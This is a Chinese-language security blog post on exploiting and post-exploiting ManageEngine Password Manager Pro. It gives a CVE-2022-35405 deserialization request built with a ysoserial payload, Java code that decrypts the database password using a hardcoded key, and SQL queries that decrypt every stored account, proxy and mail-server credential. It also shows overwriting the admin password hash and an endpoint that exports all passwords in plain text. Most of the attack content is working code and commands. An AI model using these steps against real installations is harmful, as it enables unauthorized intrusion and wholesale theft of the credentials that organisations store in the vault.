Zoho Password Manager Pro 后利用技巧

r0fus0d 2022-10-28 10:46:00

简介

学习zoho pmp这块相关知识点,简单做个总结


指纹

server=="PMP"

默认开启在7272端口

安装

windows

下载安装包,双击一路下一步即可

https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe

访问127.0.0.1:7272

Untitled 1.png

linux

下载安装包

https://archives2.manageengine.com/passwordmanagerpro/10501/ManageEngine_PMP_64bit.bin

chmod a+x ManageEngine_PMP_64bit.bin
./ManageEngine_PMP_64bit.bin -i console
cd /root/ManageEngine/PMP/bin
bash pmp.sh install

等待安装完毕,访问127.0.0.1:7272即可


ppm 文件

ppm是pmp的更新包,在windows上通过UpdateManager.bat进行安装,在linux上通过UpdateManager.sh进行安装

通过对比安装ppm包前后的文件结构可以粗略判断一些漏洞的影响点,修复点


判断版本

在访问站点时,其默认加载的js、css路径中就包含了版本信息,如下图,12121代表其版本号

Untitled 5.png

在官方站点可以下载相应版本号的安装包


CVE-2022-35405

这个洞影响范围 12100 及以下版本,在 12101 被修复
Untitled 6.png

poc

使用ysoserialCommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "ping xxxx.dnslog.cn" | base64 | tr -d "\n"

替换到下面的[base64-payload]部分

POST /xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Untitled 7.png

Untitled 8.png

Snipaste_2022-10-25_21-30-26.png


密钥文件

windows

以windows平台的pmp为例

database_params.conf文件中存储了数据库的用户名和加密数据库密码。

Untitled 9.png

# $Id$
# driver name
drivername=org.postgresql.Driver

# login username for database if any
username=pmpuser

# password for the db can be specified here
password=NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=
# url is of the form jdbc:subprotocol:DataSourceName for eg.jdbc:odbc:WebNmsDB
url=jdbc:postgresql://localhost:2345/PassTrix?ssl=require

# Minumum Connection pool size
minsize=1

# Maximum Connection pool size
maxsize=20

# transaction Isolation level
#values are Constanst defined in java.sql.connection type supported TRANSACTION_NONE    0
#Allowed values are TRANSACTION_READ_COMMITTED , TRANSACTION_READ_UNCOMMITTED ,TRANSACTION_REPEATABLE_READ , TRANSACTION_SERIALIZABLE
transaction_isolation=TRANSACTION_READ_COMMITTED
exceptionsorterclassname=com.adventnet.db.adapter.postgres.PostgresExceptionSorter

# check is the database password encrypted or not
db.password.encrypted=true

可以看到默认 pgsql 用户为pmpuser,而加密的数据库密码为NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=

pmp_key.key文件显示 PMP 密钥,这个用于加密数据库中的密码

Untitled 10.png

#本文件是由PMP自动生成的,它包含了本次安装所使用的AES加密主密钥。
#该文件默认存储在<PMP_HOME>/conf目录中。除非您的服务器足够安全,不允许其他任何非法访问,
#否则,该文件就有可能泄密,属于安全隐患。因此,强烈建议您将该文件从默认位置移动到
#PMP安装服务器以外的其它位置(如:文件服务器、U盘等),并按照安全存储要求保存该文件。
#Fri Oct 21 16:08:30 CST 2022
ENCRYPTIONKEY=G8N1EX+nkQlPVpd29eenVOYWCCS0oF/EPZdswlorot8\=

Linux

database_params.conf文件存放在/root/ManageEngine/PMP/conf/database_params.conf

pmp_key.key文件存放在/root/ManageEngine/PMP/conf/pmp_key.key


恢复pgsql的密码

要连接pgsql,首先需要解密pmp加密的pgsql数据库密码

找下pmp对数据库密码的加密逻辑,在shielder的文章 https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/ 给出了加密类

Untitled 11.png

找到对应jar文件

Untitled 12.png

反编译查看解密的逻辑

Untitled 13.png

Untitled 14.png

可以发现encodedKey是取@dv3n7n3tP@55Tri*的5到10位

通过使用其DecryptDBPassword函数可以解密数据库密码,不过在shielder的文章中给出了解密的代码,直接解密

import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.lang.StringBuilder;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

class PimpMyPMP {
    public synchronized String decrypt(byte[] cipherText, String password) throws Exception {
        Cipher cipher;
        byte[] aeskey;

        for (int i = password.length(); i < 32; ++i) {
            password = password + " ";
        }
        if (password.length() > 32) {
            try {
                aeskey = Base64.getDecoder().decode(password);
            } catch (IllegalArgumentException e) {
                aeskey = password.getBytes();
            }
        }
        aeskey = password.getBytes();
        try {
            byte[] ivArr = new byte[16];
            for (int i = 0; i < 16; ++i) {
                ivArr[i] = cipherText[i];
            }
            cipher = Cipher.getInstance("AES/CTR/NoPadding");
            SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
            PBEKeySpec spec = new PBEKeySpec(new String(aeskey, "UTF-8").toCharArray(), new byte[]{1, 2, 3, 4, 5, 6, 7, 8}, 1024, 256);
            SecretKey temp = factory.generateSecret(spec);
            SecretKeySpec secret = new SecretKeySpec(temp.getEncoded(), "AES");
            cipher.init(2, (Key) secret, new IvParameterSpec(ivArr));

            byte[] cipherTextFinal = new byte[cipherText.length - 16];
            int j = 0;
            for (int i = 16; i < cipherText.length; ++i) {
                cipherTextFinal[j] = cipherText[i];
                ++j;
            }

            return new String(cipher.doFinal(cipherTextFinal), "UTF-8");
        } catch (IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException | NoSuchPaddingException |
                 InvalidKeyException | InvalidAlgorithmParameterException | InvalidKeySpecException ex) {
            ex.printStackTrace();
            throw new Exception("Exception occurred while encrypting", ex);
        }
    }

    private static String hardcodedDBKey() throws NoSuchAlgorithmException {
        String key = "@dv3n7n3tP@55Tri*".substring(5, 10);
        MessageDigest md = MessageDigest.getInstance("MD5");
        md.update(key.getBytes());
        byte[] bkey = md.digest();
        StringBuilder sb = new StringBuilder(bkey.length * 2);
        for (byte b : bkey) {
            sb.append(String.format("%02x", b));
        }
        return sb.toString();
    }

    public String decryptDBPassword(String encPassword) throws Exception {
        String decryptedPassword = null;
        if (encPassword != null) {
            try {
                decryptedPassword = this.decryptPassword(encPassword, PimpMyPMP.hardcodedDBKey());
            } catch (Exception e) {
                throw new Exception("Exception ocuured while decrypt the password");
            }
            return decryptedPassword;
        }
        throw new Exception("Password should not be Null");
    }

    public String decryptPassword(String encryptedPassword, String key) throws Exception {
        String decryptedPassword = null;
        if (encryptedPassword == null || "".equals(encryptedPassword)) {
            return encryptedPassword;
        }
        try {
            byte[] encPwdArr = Base64.getDecoder().decode(encryptedPassword);
            decryptedPassword = this.decrypt(encPwdArr, key);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
        return decryptedPassword;
    }

    public static void main(String[] args) {
        PimpMyPMP klass = new PimpMyPMP();
        try {
            // database_params.conf
            String database_password = "";
            System.out.print("Database Key: ");
            System.out.println(klass.decryptDBPassword(database_password));

            // pmp_key.key
            String pmp_password = "";

            // select notesdescription from Ptrx_NotesInfo
            String notesdescription = "";
            System.out.print("MASTER Key: ");
            System.out.println(klass.decryptPassword(notesdescription, pmp_password));

            // decryptschar(column, master_key)
            String passwd = "";
            System.out.print("Passwd: ");
            System.out.println(klass.decryptPassword(passwd, pmp_password));

        } catch (Exception e) {
            System.out.println("Fail!");
        }
    }
}

填入加密的数据库密码,查看结果

Untitled 15.png

可以看到密码为:sC1ekMrant

连接pgsql测试

Untitled 16.png

Untitled 17.png

这里注意,pmp默认的pgsql是只监听127的2345,无法外部连接,如果是rce打的,可以自行进行端口转发

Untitled 18.png


获取master key

在连接数据库后,查询加密的master key

select notesdescription from Ptrx_NotesInfo

Untitled 19.png

这里通过pmp_key.key文件中的PMP 密钥来解密master key

shielder的代码在解的时候有些问题,这里使用https://github.com/trustedsec/Zoinks项目来进行解密

Untitled 20.png

得到master key


解密数据库中的密码

首先先查询数据库中的存储的密码

select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'***master_key***') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID

master key替换语句里的***master_key***部分

Untitled 21.png

继续使用Zoinks进行解密

Untitled 22.png

这里解密出test资源,root用户的明文口令123456


解密代理配置

当配置了代理服务器时,同样用类似的方法进行查询和解密

Untitled 23.png

select proxy_id,direct_connection,proxy_server,proxy_port,username,decryptschar(ptrx_proxysettings.PASSWORD,'***master_key***') from ptrx_proxysettings

Untitled 24.png

Untitled 25.png


解密邮件服务器配置

pmp这个默认都是配置了邮件服务器的

select mailid,mailserver,mailport,sendermail,username,decryptschar(ptrx_mailsettings.PASSWORD,'***master_key***'),tls,ssl,tlsifavail,never from ptrx_mailsettings

Untitled 26.png


pg数据库postgres用户密码

select username,decryptschar(dbcredentialsaudit.PASSWORD,'***master_key***'),last_modified_time from dbcredentialsaudit

Untitled 27.png

Untitled 28.png


进入 pmp web后台

在数据库中查询web后台的账号密码

select * from aaauser;

Untitled 29.png

select * from aaapassword;

Untitled 30.png

这里密码是进行bcryptsha512加密的,可以用hashcat进行爆破

Untitled 31.png

也可通过覆盖hash的方式修改admin账号的密码,例如修改为下列数据,即可将admin密码改为test2

"password_id"   "password"  "algorithm" "salt"  "passwdprofile_id"  "passwdrule_id" "createdtime"   "factor"
"1" "$2a$12$bOUtxZzgrAu.3ApJM7fUYu7xBfxhJ4k2gx5CQE5BzMcN.cr/6cbhy"  "bcrypt"    "wwwECQECvU8zqfmCnXfSTgFnfz9CDl/cX+yDwJEhJ+91ADnOHbR0q7rOASpBqm2mQgYLHtlUJSX5u4ad7yOJpVNkoPJoI6gev75VAwAf/BTM4rpHTLT+cCdWMwnHmg=="  "1" "3" "1666345834309" "12"

注意⚠️:覆盖前务必备份源hash数据

Untitled 32.png

进入后台后可直接导出所有明文密码

/jsp/xmlhttp/AjaxResponse.jsp?RequestType=ExportPasswords

Untitled 33.png


本地 Web-Accounts reports 文件

在后台personal页面导出个人报告时可以选择pdf或xls格式,该文件在导出后会一直存在在服务器上

Untitled 34.png

这个问题在12122被修复

Untitled 35.png


Source & Reference

评论

r0fus0d

喜欢钻研技术,懂一些安全知识。

随机分类

CTF 文章:62 篇
密码学 文章:13 篇
iOS安全 文章:36 篇
无线安全 文章:27 篇
Ruby安全 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

D

Deen

__FILE __提交给引擎时是忽略文件名的,我记得原来有项规则是在任意文件名下

B

BOT

@Deen 谢谢您的评论。是这样的,如果只是利用__FILE__变量和fun函数

V

v2ihs1yan

orz

F

foniw

师傅,这边有个问题 setter自动调用需要满足以下条件: 以set开头且第

D

Deen

谢谢分享哈,这里有个问题:__FILE__这个变量的存在导致了需要特定的文件名才

目录